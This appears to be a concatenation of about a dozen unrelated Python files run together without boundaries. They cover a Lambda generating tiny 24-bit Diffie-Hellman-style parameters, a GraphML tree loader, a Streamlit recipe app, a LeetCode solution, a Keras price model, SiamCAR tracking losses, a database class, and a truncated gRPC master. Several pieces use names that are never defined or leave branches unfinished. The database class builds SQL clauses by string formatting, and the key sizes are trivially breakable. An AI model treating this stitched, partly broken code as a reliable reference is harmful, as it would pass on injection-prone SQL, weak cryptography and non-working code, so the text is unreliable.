import json
import math
import random

def is_Prime(prime):
    if (prime > 0 and prime < 4):
        return prime
    if (prime % 2 == 0):
        return 0
    i = 3
    while (prime % i != 0 and i < math.ceil(math.sqrt(prime))):
        i += 2
    if (prime % i != 0):
        return prime
    return 0

def gen_Alpha_Q(min, p):
    pm1 = p - 1
    temp = pm1
    temp = temp / 2
    if (temp % 2 == 0):
        temp += 1
    for q in range(int(temp), min, -2):
        if (pm1 % q == 0):
            if (is_Prime(q) > 0):
                for alpha in range(pm1, 2, -1):
                    if(pow(alpha, q, p) == 1):
                        return alpha, q
    return 0, 0

def get_Random_Prime(min, max):
    prime = 0
    while prime == 0:
        prime = gen_Secure_Random(min, max)
        prime = is_Prime(prime)
    return prime

def gen_Secure_Random(min, max):
    systemRandom = random.SystemRandom()
    return systemRandom.randint(min, max)

def lambda_handler(event, context):
    min_P_PrimeComplexity = pow(2,24)
    max_P_PrimeComplexity = pow(2,25)
    alpha = 0
    q = 0
    while alpha == 0 or q == 0:
        p = get_Random_Prime(min_P_PrimeComplexity, max_P_PrimeComplexity)
        alpha, q = gen_Alpha_Q(1, p)
    return {
        "P":p,
        "Q":q,
        "A":alpha
    }


def loadGraphML(TreeSurveyor_GraphML_file):
    # attempt to load a Tree Surveyor graphml file. Sometimes if there is not a bifurcation, angle keys (which are set as Double in the Tree Surveyor GraphML key description) become contaminated with "no bifurcation" strings, there are a few instances of "#IND" appearing too.
    # This routine attempts to load as-is, and if it fails, the routine loads the graphml as a string into memory using StringIO, removing all "no bifurcation" and "#IND" lines in the process
    # The altered graphml is then loaded into nxGraph, the altered graphml is removed from memory, and the compliant graphML is exported.

    try:
        nxTreeSurveyorGraph = nx.read_graphml(TreeSurveyor_GraphML_file, str)
    except:
        # this will happen usually if some of the keys contain non-numerical values, which are sometimes exported in node keys by Tree Surveyor.
        output_graph_buffer = StringIO.StringIO()
        with open(TreeSurveyor_GraphML_file) as inputGraphML:
            for line in inputGraphML:
                if not 'no bifurcation' in line:
                    if not '#IND' in line:
                        output_graph_buffer.write(line)
        output_graph_buffer.seek(0)
        nxTreeSurveyorGraph = nx.read_graphml(output_graph_buffer, str)
        output_graph_buffer.close()
    return(nxTreeSurveyorGraph)

def getSubtreesMatchingModel(nxTreeSurveyorGraph,pattern="HD",weightMin=1,weightMax=1000):
    if pattern=="PERFECT":
        offsets = [1,1]
        wts = [1,2,4]
    elif pattern=="FIB":
        offsets = [1,2]
        wts = [1,1,2]
    elif pattern=="HD":
        offsets = [2,3]
        wts = [1,1,1]
    else:
        print("!!! Unknown pattern !!!")
        return()
    offsets.sort() # just so we can definitely rely on the order later
    nextWt = 0
    while nextWt < weightMax:
        nextWt = wts[-offsets[0]] + wts[-offsets[1]]
        wts.append(nextWt)
    ret = getSubtreesMatchingModel1(nxTreeSurveyorGraph,"Root",offsets,wts,weightMin,weightMax)
    # need to account for the possibility that whole tree matches pattern, but smaller than weightMin
    if (ret[1]<weightMin):
        return([[]])
    return(ret[2])

def getSubtreesMatchingModel1(nxTreeSurveyorGraph,rootNode,offsets,wts,weightMin,weightMax):
    # returns [fitsPattern, weight, edges]; if !fitsPattern, edges contains any subtrees that fit criteria
    # print(rootNode)
    children = nxTreeSurveyorGraph.edge[rootNode].keys()
    if (len(children)==0):
        print("!!! Node with no children - shouldn't happen !!!")
        return()
    elif (len(children)==1):
        return([True,1,[]])
    elif (len(children)>2):
        wt = 0
        edg = []
        for ch in children:
            f,w,e = getSubtreesMatchingModel1(nxTreeSurveyorGraph,ch,
                                              offsets,wts,weightMin,weightMax)
            wt += w
            if (w >= weightMin):
                edg += e
        return([False,wt,edg])

    # now the main case - two children
    # can't initially filter by weightMin, since smaller trees required for bigger ones
    # instead filter at end, when parent is non-matching or when doing the final return from top level function
    fitsPattern1, weight1, edges1 = getSubtreesMatchingModel1(nxTreeSurveyorGraph,children[0],
                                                          offsets,wts,weightMin,weightMax)
    fitsPattern2, weight2, edges2 = getSubtreesMatchingModel1(nxTreeSurveyorGraph,children[1],
                                                          offsets,wts,weightMin,weightMax)
    weight = weight1 + weight2
    if (weight <= weightMax) & fitsPattern1 & fitsPattern2 & (weight in wts):
        pos = wts.index(weight) # if multiple entries of weight in list, doesn't actually matter which position we get
        if ([wts[pos-offsets[1]],wts[pos-offsets[0]]] == sorted([weight1,weight2])):
            return([True,weight,edges1+edges2+children])
    # left with case where node doesn't match, so have to filter subtrees on weightMin
    ed = []
    if weight1 >= weightMin:
        ed += edges1
    if weight2 >= weightMin:
        ed += edges2
    return([False,weight,ed])


import streamlit as st
import pandas as pd
from streamlit_option_menu import option_menu

df = pd.read_csv('RAW_recipes.csv')

@st.cache_data
def get_recipe_data(name):
    recipe_data = df.loc[df['name'] == name]
    if recipe_data.empty:
        return None

    recipe = {
        'name': name,
        'minutes': recipe_data['minutes'].values[0],
        'tags': recipe_data['tags'].values[0],
        'nutrition': recipe_data['nutrition'].values[0],
        'steps': recipe_data['steps'].values[0],
        'description': recipe_data['description'].values[0],
        'ingredients': recipe_data['ingredients'].values[0],
    }

    return recipe

name = None

if 'checked_ingredients' not in st.session_state:
    st.session_state.checked_ingredients = []  # Initialize the variable here

if 'username' not in st.session_state:
    st.session_state.username = ''

# Add navbar
navigation = option_menu('Navigation', options=['Home', 'BMI', 'Recipes', 'Search Ingredients', 'Shopping List'], orientation="horizontal")

# Use Streamlit container to stretch the navbar
with st.container():
    st.write('')
    st.write('')
    st.write(navigation)

# Rest of the code
st.write('Here you can find recipes and create an individual weekly plan. You can also determine your BMI and search for recipes based on ingredients. Then have a shopping list generated for you.')

st.header('Home')

st.text_input('Please enter your name', key='username')

# Display images
st.subheader('Featured Recipes')
col1, col2, col3 = st.columns(3)
with col1:
    st.image('amerikanische-pancakes.jpg', use_column_width=True, caption='Amerikanische Pancakes')
with col2:
    st.image('Teriyaki-chicken-bowls-8.jpg', use_column_width=True, caption='Teriyaki Chicken Bowls')
with col3:
    st.image('How-To-Make-Banana-Ice-Cream-071220172061.jpg.webp', use_column_width=True, caption='Banana Ice Cream')

if navigation == 'BMI':
    if st.session_state.username != '':
        st.header(f'BMI Calculator for {st.session_state.username}')
    else:
        st.header('BMI Calculator')

    def calculate_bmi(weight, height):
        bmi = weight / (height ** 2)
        return round(bmi, 2)

    st.write('Please enter your weight and height to calculate your BMI.')
    weight = st.number_input('Weight (in kg)')
    height = st.number_input('Height (in meters)')
    if weight > 0 and height > 0:
        bmi = calculate_bmi(weight, height)
        st.write('Your BMI:', bmi)
        st.write('Interpretation:')
        if bmi < 18.5:
            st.write('Underweight')
        elif 18.5 <= bmi < 25:
            st.write('Normal weight')

if navigation == 'Recipes':
    if st.session_state.username != '':
        st.header(f'Recipes for {st.session_state.username}')
    else:
        st.header('Recipes')

    page = st.number_input('Page', min_value=1, step=1, value=1)
    start_idx = (page - 1) * 100
    end_idx = start_idx + 100
    st.dataframe(df.iloc[start_idx:end_idx])

if navigation == 'Search Ingredients':
    if st.session_state.username != '':
        st.header(f'Search Ingredients for {st.session_state.username}')
    else:
        st.header('Search Ingredients')

    ingredient = st.text_input('Enter an ingredient')
    if st.button('Search'):
        filtered_data = filter_recipes_by_ingredient(ingredient)
        st.dataframe(filtered_data)

if navigation == 'Shopping List':
    st.header('Shopping List')
    selected_recipes = st.multiselect('Select recipes:', df['name'].tolist())
    if selected_recipes:
        ingredients_list = []
        for recipe_name in selected_recipes:
            recipe = get_recipe_data(recipe_name)
            if recipe is not None:
                ingredients = recipe['ingredients']
                ingredients_list.extend(ingredients.split(','))
        ingredients_list = [ingredient.strip() for ingredient in ingredients_list]
        ingredients_list = list(set(ingredients_list))  # Remove duplicates
        checked_ingredients = st.multiselect('Check off ingredients:', ingredients_list, format_func=lambda x: f"[x] {x}" if x in st.session_state.checked_ingredients else f"[ ] {x}")
        st.write('Generated Shopping List:')
        for ingredient in ingredients_list:
            if ingredient in checked_ingredients:
                st.write('- [x] ' + ingredient)
            else:
                st.write('- [ ] ' + ingredient)
    else:
        st.write('No recipes selected. Please choose at least one recipe to generate the shopping list.')
if navigation == 'Weekly Meal Plan':

    if st.session_state.username != '' :
        st.header('Weekly Meal Plan for '  + st.session_state.username)
        st.session_state['username'] = st.session_state.username
    else:
        st.header('Weekly Meal Plan')

    days_of_week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']
    selected_recipes = {}
    for day in days_of_week:
        recipe_name = st.selectbox(f'Select a recipe for {day}:', [''] + df['name'].tolist(), key=f'recipe_{day}')
        selected_recipes[day] = recipe_name
    st.write('Selected Recipes:')
    for day, recipe_name in selected_recipes.items():
        st.subheader(day)
        if recipe_name:
            recipe = get_recipe_data(recipe_name)
            if recipe is None:
                st.write('Recipe not found.')
            else:
                st.write('Name:', recipe['name'])
                st.write('Minutes:', recipe['minutes'])
                st.write('Tags:', recipe['tags'])
                st.write('Nutrition:', recipe['nutrition'])
                st.write('Steps:', recipe['steps'])
                st.write('Description:', recipe['description'])
                st.write('Ingredients:', recipe['ingredients'])
        else:
            st.write('No recipe selected for this day.')

# Add feedback button at the bottom of the page
st.markdown(
    """

    """,
    unsafe_allow_html=True
)

st.markdown(
    """

        <button onclick="document.getElementById('feedback-modal').style.display = 'block'"">Feedback</button>

    """,
    unsafe_allow_html=True
)

# Add feedback modal
st.markdown(
    """

        <button onclick="document.getElementById('feedback-modal').style.display = 'block'"">Feedback</button>

    """,
    unsafe_allow_html=True
)


from collections import deque, defaultdict

class Solution:
    def minSwap(self, arr):
        n = len(arr)
        res = 0
        oldarr = arr[:]
        h = {}
        oldarr.sort()
        for i in range(n):
            h[arr[i]] = i
        init = 0
        for i in range(n):
            if arr[i] != oldarr[i]:
                res += 1
                init = arr[i]
                arr[i], arr[h[oldarr[i]]] = arr[h[oldarr[i]]], arr[i]
                h[init] = h[oldarr[i]]
                h[oldarr[i]] = i
        return res

    def minimumOperations(self, root: Optional[TreeNode]) -> int:
        q = deque([(root, 0)])
        levels = defaultdict(list)
        while len(q) > 0:
            curr, l = q.pop()
            if curr:
                levels[l].append(curr.val)
                q.appendleft((curr.left, l + 1))
                q.appendleft((curr.right, l + 1))
        res = 0
        for l in levels:
            res += self.minSwap(levels[l])
        return res


from matplotlib import pyplot as plt
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelEncoder, MinMaxScaler
from tensorflow import keras
from keras import layers
from keras.utils import plot_model

# Load the dataset
df = pd.read_csv('Data/newCleanData3.tsv',sep='\t')  # Replace 'house_data.csv' with your dataset file

# Preprocess the data
X = df.drop(['precio','titulo','direccion','Colonia','ciudad'], axis=1)
y = df['precio']

scaler = MinMaxScaler()
X= scaler.fit_transform(X)

# Split the data into training and testing sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

# Determine the embedding size for the categorical feature

# Define the model
model = keras.Sequential([
    layers.Dense(128, activation='relu'),
    layers.Dense(128, activation='relu'),
    layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mse')

# Train the model
history = model.fit(X_train, y_train, epochs=500, batch_size=32, verbose=1)
plot_model(model, to_file='model.png', show_shapes=True)

# Evaluate the model
loss = model.evaluate(X_test, y_test, verbose=0)
print(f'Test loss: {loss}')

# Make predictions
predictions = model.predict(X_test)

# Print the first few predictions
for i in range(5):
    print(f'Predicted price: {predictions[i][0]}, Actual price: {y_test.iloc[i]}')

#Show data
plt.figure(0)
plt.plot(history.history['loss'])
plt.plot()
plt.yscale('log')
plt.title('Model Loss')
plt.xlabel('Epoch')
plt.ylabel('Loss')

plt.figure(1)
plt.scatter(y_test, predictions)
x = np.linspace(0,int(y_test.values.max()))
y = x
plt.plot(x, y, color='red', label="y = y'")
plt.xlabel('Actual Price')
plt.ylabel('Predicted Price')
plt.title('Actual vs Predicted Prices')
plt.show()


import numpy as np
from copy import deepcopy
from .optimizer import Optimizer

# Inherits "Optimizer" for general methods and members
class StopAndTurn(Optimizer):

    def __init__(self, first_step = 0.1, minimum = 1e-5, divider = 2, limit = 3):
        self.first_step = first_step
        self.minimum = minimum
        self.divider = divider
        self.limit = limit

        self.step_weight = []
        self.step_bias = []

    def set_layers(self, layers):
        super().set_layers(layers)

        for layer in self.layers:
            weight_zeros = np.full(layer.weight.shape, self.first_step).astype(self.data_type)
            self.step_weight.append(weight_zeros)
            bias_zeros = np.full(layer.bias.shape,  self.first_step).astype(self.data_type)
            self.step_bias.append(bias_zeros)

    def update_params(self, x, y):

        # finds gradients (gradient_weight, gradient_bias)
        self.calculate_gradients(x, y)

        for i in range(len(self.layers)):
            diff_weight = np.sign(self.step_weight[i] * self.gradient_weight[i])
            self.step_weight[i][diff_weight == -1] /= self.divider
            diff_bias = np.sign(self.step_bias[i] * self.gradient_bias[i])
            self.step_bias[i][diff_bias == -1] /= self.divider

        # updating the parameters (weights, biases)
        for i in range(len(self.layers)):
            self.layers[i].weight -= self.step_weight[i] * self.gradient_weight[i]
            self.layers[i].bias -= self.step_bias[i] * self.gradient_bias[i]

            # self.layers[i].weight[self.layers[i].weight > self.limit] = self.limit
            # self.layers[i].weight[self.layers[i].weight < -self.limit] = -self.limit
            # self.layers[i].bias[self.layers[i].bias > self.limit] = self.limit
            # self.layers[i].bias[self.layers[i].bias < -self.limit] = -self.limit


import torch
import torch.nn as nn
import numpy as np
import torch.nn.functional as F

eps = np.finfo(np.float32).tiny

def get_cls_loss(pred, label, select):
    if len(select.size()) == 0 or select.size() == torch.Size([0]):
        return 0
    pred = torch.index_select(pred, 0, select)
    label = torch.index_select(label, 0, select)
    return F.nll_loss(pred, label)

def select_cross_entropy_loss(pred, label):
    pred = pred.view(-1, 2)
    label = label.view(-1)
    pos = label.data.eq(1).nonzero().squeeze().cuda()
    neg = label.data.eq(0).nonzero().squeeze().cuda()
    loss_pos = get_cls_loss(pred, label, pos)
    loss_neg = get_cls_loss(pred, label, neg)
    return loss_pos * 0.5 + loss_neg * 0.5

def iou(pos_pred, pos_gt):
    pred_left = pos_pred[:, 0]
    pred_top = pos_pred[:, 1]
    pred_right = pos_pred[:, 2]
    pred_bottom = pos_pred[:, 3]

    target_left = pos_gt[:, 0]
    target_top = pos_gt[:, 1]
    target_right = pos_gt[:, 2]
    target_bottom = pos_gt[:, 3]

    pred_area = (pred_left + pred_right) * (pred_top + pred_bottom)
    target_area = (target_left + target_right) * (target_top + target_bottom)

    w_intersect = torch.min(pred_left, target_left) + torch.min(pred_right, target_right)
    h_intersect = torch.min(pred_bottom, target_bottom) + torch.min(pred_top, target_top)

    area_intersect = w_intersect * h_intersect
    area_union = target_area + pred_area - area_intersect
    return area_intersect/area_union

class SafeLog(nn.Module):
    default_hyper_params = dict()

    def __init__(self):
        super(SafeLog, self).__init__()
        self.register_buffer("t_eps", torch.tensor(eps, requires_grad=False))

    def forward(self, t):
        return torch.log(torch.max(self.t_eps, t))

class SigmoidCrossEntropyRetina(nn.Module):

    default_hyper_params = dict(
        name="focal_ce",
        background=0,
        ignore_label=-1,
        weight=1.0,
        alpha=0.5,
        gamma=0.0,
    )

    def __init__(self):
        super(SigmoidCrossEntropyRetina, self).__init__()
        self.safelog = SafeLog()
        self.register_buffer("t_one", torch.tensor(1., requires_grad=False))
        self.update_params()

    def update_params(self):
        self.background = self.default_hyper_params["background"]
        self.ignore_label = self.default_hyper_params["ignore_label"]
        self.weight = self.default_hyper_params["weight"]
        # self.gamma = torch.tensor(float(self.default_hyper_params["gamma"]),
        #                  requires_grad=False)
        # focal loss coefficients
        self.register_buffer(
            "alpha",
            torch.tensor(float(self.default_hyper_params["alpha"]),
                         requires_grad=False))
        self.register_buffer(
            "gamma",
            torch.tensor(float(self.default_hyper_params["gamma"]),
                         requires_grad=False))

    def forward(self, pred_data, target_data):
        r"""
        Focal loss
        :param pred: shape=(B, HW, C), classification logits (BEFORE Sigmoid)
        :param label: shape=(B, HW)
        """
        r"""
        Focal loss
        Arguments
        ---------
        pred: torch.Tensor
            classification logits (BEFORE Sigmoid)
            format: (B, HW)
        label: torch.Tensor
            training label
            format: (B, HW)

        Returns
        -------
        torch.Tensor
            scalar loss
            format: (,)
        """
        pred = pred_data
        label = target_data
        self.gamma=self.gamma.to(pred.device)
        self.alpha=self.alpha.to(pred.device)
        self.safelog=self.safelog.to(pred.device)
        self.t_one=self.t_one.to(pred.device)
        # self.weight.to(pred.device)
        mask = ~(label == self.ignore_label)
        mask = mask.type(torch.Tensor).to(label.device)
        vlabel = label * mask
        zero_mat = torch.zeros(pred.shape[0], pred.shape[1], pred.shape[2] + 1)

        one_mat = torch.ones(pred.shape[0], pred.shape[1], pred.shape[2] + 1)
        index_mat = vlabel.type(torch.LongTensor)         #[[[1],[0],[1],[0]]] (1,4,1)

        onehot_ = zero_mat.scatter(2, index_mat, one_mat)  #[[[0,1],[1,0],[0,1],[1,0]]] 把one_mat数组分配index_mat位置，无指定为0
        onehot = onehot_[:, :, 1:].type(torch.Tensor).to(pred.device)  #真正标签

        pred = torch.sigmoid(pred)
        # pos_part = (1 - pred) ** self.gamma
        pos_part = (1 - pred)**self.gamma * onehot * self.safelog(pred)
        neg_part = pred**self.gamma * (1 - onehot) * self.safelog(1 - pred)
        loss = -(self.alpha * pos_part +
                 (1 - self.alpha) * neg_part).sum(dim=2) * mask.squeeze(2)

        positive_mask = (label > 0).type(torch.Tensor).to(pred.device)

        loss = loss.sum() / torch.max(positive_mask.sum(),
                                      self.t_one) * self.weight

        return loss

class SigmoidCrossEntropyCenterness(nn.Module):
    default_hyper_params = dict(
        name="centerness",
        background=0,
        ignore_label=-1,
        weight=1.0,
    )

    def __init__(self):
        super(SigmoidCrossEntropyCenterness, self).__init__()
        self.register_buffer("t_one", torch.tensor(1., requires_grad=False))
        self.update_params()

    def update_params(self, ):
        self.background = self.default_hyper_params["background"]
        self.ignore_label = self.default_hyper_params["ignore_label"]
        self.weight = self.default_hyper_params["weight"]

    def forward(self, pred_data, target_data):
        r"""
        Center-ness loss
        Computation technique originated from this implementation:
            https://www.tensorflow.org/api_docs/python/tf/nn/sigmoid_cross_entropy_with_logits

        P.S. previous implementation can be found at the commit 232141cdc5ac94602c28765c9cf173789da7415e

        Arguments
        ---------
        pred: torch.Tensor
            center-ness logits (BEFORE Sigmoid)
            format: (B, HW)
        label: torch.Tensor
            training label
            format: (B, HW)

        Returns
        -------
        torch.Tensor
            scalar loss
            format: (,)
        """
        self.t_one = self.t_one.to(pred_data.device)
        pred = pred_data
        label = target_data
        mask = (~(label == self.background)).type(torch.Tensor).to(pred.device)
        loss = F.binary_cross_entropy_with_logits(pred, label,
                                                  reduction="none") * mask
        # suppress loss residual (original vers.)
        loss_residual = F.binary_cross_entropy(label, label,
                                               reduction="none") * mask
        loss = loss - loss_residual.detach()

        loss = loss.sum() / torch.max(mask.sum(),
                                      self.t_one) * self.weight

        return loss

class IOULoss(nn.Module):

    default_hyper_params = dict(
        name="iou_loss",
        background=0,
        ignore_label=-1,
        weight=1.0,
    )

    def __init__(self):
        super().__init__()
        self.safelog = SafeLog()
        self.register_buffer("t_one", torch.tensor(1., requires_grad=False))
        self.register_buffer("t_zero", torch.tensor(0., requires_grad=False))
        self.update_params()

    def update_params(self):
        self.background = self.default_hyper_params["background"]
        self.ignore_label = self.default_hyper_params["ignore_label"]
        self.weight = self.default_hyper_params["weight"]

    def forward(self, pred_data, target_data, cls_data):
        self.t_one = self.t_one.to(pred_data.device)
        self.t_zero = self.t_zero.to(pred_data.device)
        self.safelog = self.safelog.to(pred_data.device)
        pred = pred_data
        gt = target_data
        cls_gt = cls_data
        mask = ((~(cls_gt == self.background)) *
                (~(cls_gt == self.ignore_label))).detach()
        mask = mask.type(torch.Tensor).squeeze(2).to(pred.device)

        aog = torch.abs(gt[:, :, 2]) * torch.abs(gt[:, :, 3])
        aop = torch.abs(pred[:, :, 2] - pred[:, :, 0] +
                        1) * torch.abs(pred[:, :, 3] - pred[:, :, 1] + 1)

        iw = torch.min(pred[:, :, 2], gt[:, :, 2]+gt[:,:,0]) - torch.max(
            pred[:, :, 0], gt[:, :, 0]) + 1
        ih = torch.min(pred[:, :, 3], gt[:, :, 3]+gt[:,:,1]) - torch.max(
            pred[:, :, 1], gt[:, :, 1]) + 1
        inter = torch.max(iw, self.t_zero) * torch.max(ih, self.t_zero)

        union = aog + aop - inter
        iou = torch.max(inter / union, self.t_zero)
        loss = -self.safelog(iou)

        loss = (loss * mask).sum() / torch.max(
            mask.sum(), self.t_one) * self.weight
        iou = iou.detach()
        iou = (iou * mask).sum() / torch.max(mask.sum(), self.t_one)
        return loss, iou

class MSELoss(nn.Module):
    def __init__(self,reduction='mean'):
        super(MSELoss,self).__init__()
        self.reduction=reduction
    def forward(self,inputs,targets):
        pos_id=(targets==1.0).float()
        neg_id=(targets==0.0).float()
        pos_loss = pos_id * (inputs - targets) ** 2
        neg_loss = neg_id * (inputs) ** 2
        if self.reduction == 'mean':
            pos_loss = torch.mean(torch.sum(pos_loss, 1))
            neg_loss = torch.mean(torch.sum(neg_loss, 1))
            return pos_loss, neg_loss
        else:
            return pos_loss, neg_loss

# class IOULoss(nn.Module):
#     def forward(self, pred, target, weight=None): #ltrb
#         pred_left = pred[:, 0]
#         pred_top = pred[:, 1]
#         pred_right = pred[:, 2]
#         pred_bottom = pred[:, 3]
#
#         target_left = target[:, 0]
#         target_top = target[:, 1]
#         target_right = target[:, 2]
#         target_bottom = target[:, 3]
#
#         pred_area = (pred_left + pred_right) * (pred_top + pred_bottom)
#         target_area = (target_left + target_right) * (target_top + target_bottom)
#
#         w_intersect = torch.min(pred_left, target_left) + torch.min(pred_right, target_right)
#         h_intersect = torch.min(pred_bottom, target_bottom) + torch.min(pred_top, target_top)
#
#         area_intersect = w_intersect * h_intersect
#         area_union = target_area + pred_area - area_intersect
#         # print(area_intersect/area_union)
#         # print((area_intersect/area_union).sum())
#         # print((area_intersect/area_union).sum().mean())
#         # exit()
#         losses = -torch.log((area_intersect + 1.0) / (area_union + 1.0))
#         if weight is not None and weight.sum() > 0:
#             return (losses * weight).sum() / weight.sum(), (area_intersect/area_union).mean()
#         else:
#             assert losses.numel() != 0
#             return losses.mean(), (area_intersect/area_union).sum().mean()

class siamcarLoss(object):
    def __init__(self):
        self.box_reg_loss = IOULoss()
        self.centerness_loss = nn.BCEWithLogitsLoss()

    def prepare_targets(self, points, labels, gt_bbox):
        labels, reg_targets = self.targets_for_locations(points, labels, gt_bbox)
        return labels, reg_targets

    def targets_for_locations(self, locations, labels, gt_bbox, output_size=13):
        xs, ys = locations[:, 0], locations[:, 1]
        bboxes = gt_bbox
        bboxes[:,2] = bboxes[:,0] + bboxes[:,2]
        bboxes[:,3] = bboxes[:,1] + bboxes[:,3]
        labels = labels.view(output_size**2, -1)
        l = xs[:, None] - bboxes[:, 0][None].float() #(169,b)
        t = ys[:, None] - bboxes[:, 1][None].float()
        r = bboxes[:, 2][None].float() - xs[:, None]
        b = bboxes[:, 3][None].float() - ys[:, None]
        reg_targets_per_img = torch.stack([l, t, r, b], dim=2)
        s1 = reg_targets_per_img[:,:,0] > 0.6*((bboxes[:,2]-bboxes[:,0])/2).float()
        s2 = reg_targets_per_img[:,:,2] > 0.6*((bboxes[:,2]-bboxes[:,0])/2).float()
        s3 = reg_targets_per_img[:,:,1] > 0.6*((bboxes[:,3]-bboxes[:,1])/2).float()
        s4 = reg_targets_per_img[:,:,3] > 0.6*((bboxes[:,3]-bboxes[:,1])/2).float()
        is_in_boxes = s1*s2*s3*s4
        pos = np.where(is_in_boxes.cpu() == 1)
        labels[pos] = 1
        return labels.permute(1,0).contiguous(), reg_targets_per_img.permute(1,0,2).contiguous()
        #(b,169) (b,169,4)

    def centerness_targets(self, reg_targets):
        left_right = reg_targets[:, [0,2]]
        top_bottom = reg_targets[:, [1,3]]
        centerness = (left_right.min(dim=-1)[0] / left_right.max(dim=-1)[0])*\
                     (top_bottom.min(dim=-1)[0] / top_bottom.max(dim=-1)[0])
        return torch.sqrt(centerness)

    def __call__(self, locations, box_cls, box_regression, centerness, labels, reg_targets):
        num_images = box_cls.size(0)
        # proposal_list =
        label_cls, reg_targets = self.prepare_targets(locations, labels, reg_targets)
        box_regression_flatten = (box_regression.permute(0,2,3,1).contiguous().view(-1,4))
        labels_flatten = (label_cls.view(-1))
        reg_targets_flatten = (reg_targets.view(-1,4))
        centerness_flatten = (centerness.view(-1))

        pos_inds = torch.nonzero(labels_flatten>0, as_tuple=False).squeeze(1)
        # print(pos_inds)
        # exit()
        # pos_inds = (labels_flatten > 0).nonzero().squeeze(1)
        # pos_inds = labels_flatten.data.eq(1).nonzero().squeeze()
        box_regression_flatten = box_regression_flatten[pos_inds]
        reg_targets_flatten = reg_targets_flatten[pos_inds]
        centerness_flatten = centerness_flatten[pos_inds]
        cls_loss = select_cross_entropy_loss(box_cls, labels_flatten)

        if pos_inds.numel() > 0:
            centerness_targets = self.centerness_targets(reg_targets_flatten)
            reg_loss, mean_iou = self.box_reg_loss(box_regression_flatten, reg_targets_flatten, centerness_targets)
            centerness_loss = self.centerness_loss(centerness_flatten, centerness_targets)
            # mean_iou = iou(box_regression_flatten, reg_targets_flatten).sum().mean()
        else:
            reg_loss = box_regression_flatten.sum()
            centerness_loss = centerness_flatten.sum()
            mean_iou = 0
        return cls_loss, reg_loss, centerness_loss, mean_iou

def compute_loss():
    loss_evaluator = siamcarLoss()
    return loss_evaluator


from application.src.db.interface import DBInterface
from application.src.db.cursor import Cursor
from .seqfile import SeqFile
from .types import SeqFileTypes

class AssemblyFileTypes(DBInterface):

    display_table_name = "assembly_files";

    @classmethod
    def fetch_select_list(cls) -> list:
        return cls.fetch_list_labeled(replace_key="item_key");

class ReadFileTypes(DBInterface):

    display_table_name = "reads_files";

    @classmethod
    def fetch_select_list(cls) -> list:
        return cls.fetch_list_labeled(replace_key="item_key");

class DBSeqFile(DBInterface):

    display_table_name = "view_seqfiles";

    @classmethod
    def save(cls, seqfile: "SeqFile") -> None:
        alevel = None;
        if not seqfile.assembly_level is None:
            alevel = int(seqfile.assembly_level.value);
        if seqfile.assembly_method_id == "":
            seqfile.assembly_method_id = None;
        args = (seqfile.sample_id, seqfile.file_type_id,
                seqfile.is_assembly, seqfile.is_forward_read,
                alevel, seqfile.assembly_method_id);
        Cursor.call_procedure("upsert_seqfiles", args=args, commit=True);

    @classmethod
    def fetch_entries_by_sample_id(cls, sample_id):
        seqfiles = Cursor.select(cls.display_table_name,
                      clauses=f"WHERE sample_id = {sample_id}");
        return seqfiles;

    @classmethod
    def fetch_assembly_method(cls, seqfile: "SeqFiles") -> dict:
        fields = ["assembly_method_id", "assembly_method"];
        raw ,= Cursor.select(cls.display_table_name, fields=fields,
                            clauses=seqfile.get_where_clause());
        return {fd: raw[fd] for fd in fields};

    @classmethod
    def fetch_extension(cls, seqfile: "SeqFiles") -> dict:
        fields = ["file_extension_id", "file_extension"];
        raw ,= Cursor.select(cls.display_table_name, fields=fields,
                            clauses=seqfile.get_where_clause());
        return {fd: raw[fd] for fd in fields};

    @classmethod
    def fetch_filename(cls, seqfile: "SeqFile") -> str:
        raw = Cursor.select(cls.display_table_name, fields=["filename"],
                            clauses=seqfile.get_where_clause());
        return str(raw[0]["filename"]);

    @classmethod
    def get_seqfile(cls, sample_id: int, seqtype: SeqFileTypes) -> SeqFile:
        seqfile = SeqFile(seqtype, sample_id=sample_id);
        fields = ["sample_name",
                  "file_type", "file_extension_id", "file_extension",
                  "assembly_method_id", "assembly_method"];

        where = f"WHERE `sample_id` = {seqfile.sample_id}";
        where+= f" AND is_assembly IS {seqfile.is_assembly}";
        if seqfile.seqtype in SeqFileTypes.list_assemblies():
            where+= f" AND assembly_level = {seqfile.assembly_level.value}"
        if seqfile.seqtype in SeqFileTypes.list_reads():
            where+= f" AND is_forward_read IS {seqfile.is_forward_read}";

        raw ,= Cursor.select(cls.display_table_name,
                            fields=fields, clauses=where);

        seqfile.sample_name = raw["sample_name"];
        seqfile.file_type = raw["file_type"];
        seqfile.extension_id = raw["file_extension_id"];
        seqfile.extension = raw["file_extension"];
        seqfile.assembly_method_id = raw["assembly_method_id"];
        seqfile.assembly_method = raw["assembly_method"];
        return seqfile;


CONFIG = {

    # foreign agricultural service -- provides WASDE data, updated upon each release
    # https://apps.fas.usda.gov/psdonline/app/index.html#/app/about#G1

    "fas": {
        "api_key":  "<YOUR_API_KEY>",
        "endpoint": "https://apps.fas.usda.gov/PSDOnlineDataServices/api/"
    },

    # agricultural marketing service

    "mars": {
        "api_key":  "<YOUR_API_KEY>",
        "endpoint": "https://marsapi.ams.usda.gov/services/v1.2/reports/{0}"
    }
}


#Interactivo
miLista =  []
ap=int(input("Ingrese el número de elementos que quieras agregar a la lista: "))
for i in range(ap):
    elem=int(input("Ingrese un número: "))
    miLista.append(elem)
#
# coloca tu código aquí
miLista2 = []
for i in miLista:
     if i not in miLista2:
         miLista2.append(i)

print("La lista solo con elementos únicos:")
print(miLista2)

#Con lista definida

#miLista =  [1, 2, 4, 4, 1, 4, 2, 6, 2, 9]
#
# coloca tu código aquí
#miLista2 = []
#for i in miLista:
#     if i not in miLista2:
#         miLista2.append(i)

#print("La lista solo con elementos únicos:")
#print(miLista2)


from concurrent import futures
import time
import grpc
import master_pb2
import master_pb2_grpc
from multiprocessing import Process, Manager
import queue
import json
from node import Node
import sys

sched_type = 'FIFO'   # FIFO/FAIR

def recordHeartBeat(q, file):
    with open(file, 'w') as f:
        while True:
            data = q.get()
            print("writing")
            data_str = json.dumps(data)
            f.write(data_str + "\n")
            f.flush()

class Master():
    def __init__(self):
        self.nodes = {}
        self.nodes_weights = {}
        self.nodes_vals = {}
        self.last_index = 0
        self.node_ids = []
        self.recodQ = Manager().Queue()

        self.free_nodes = set()
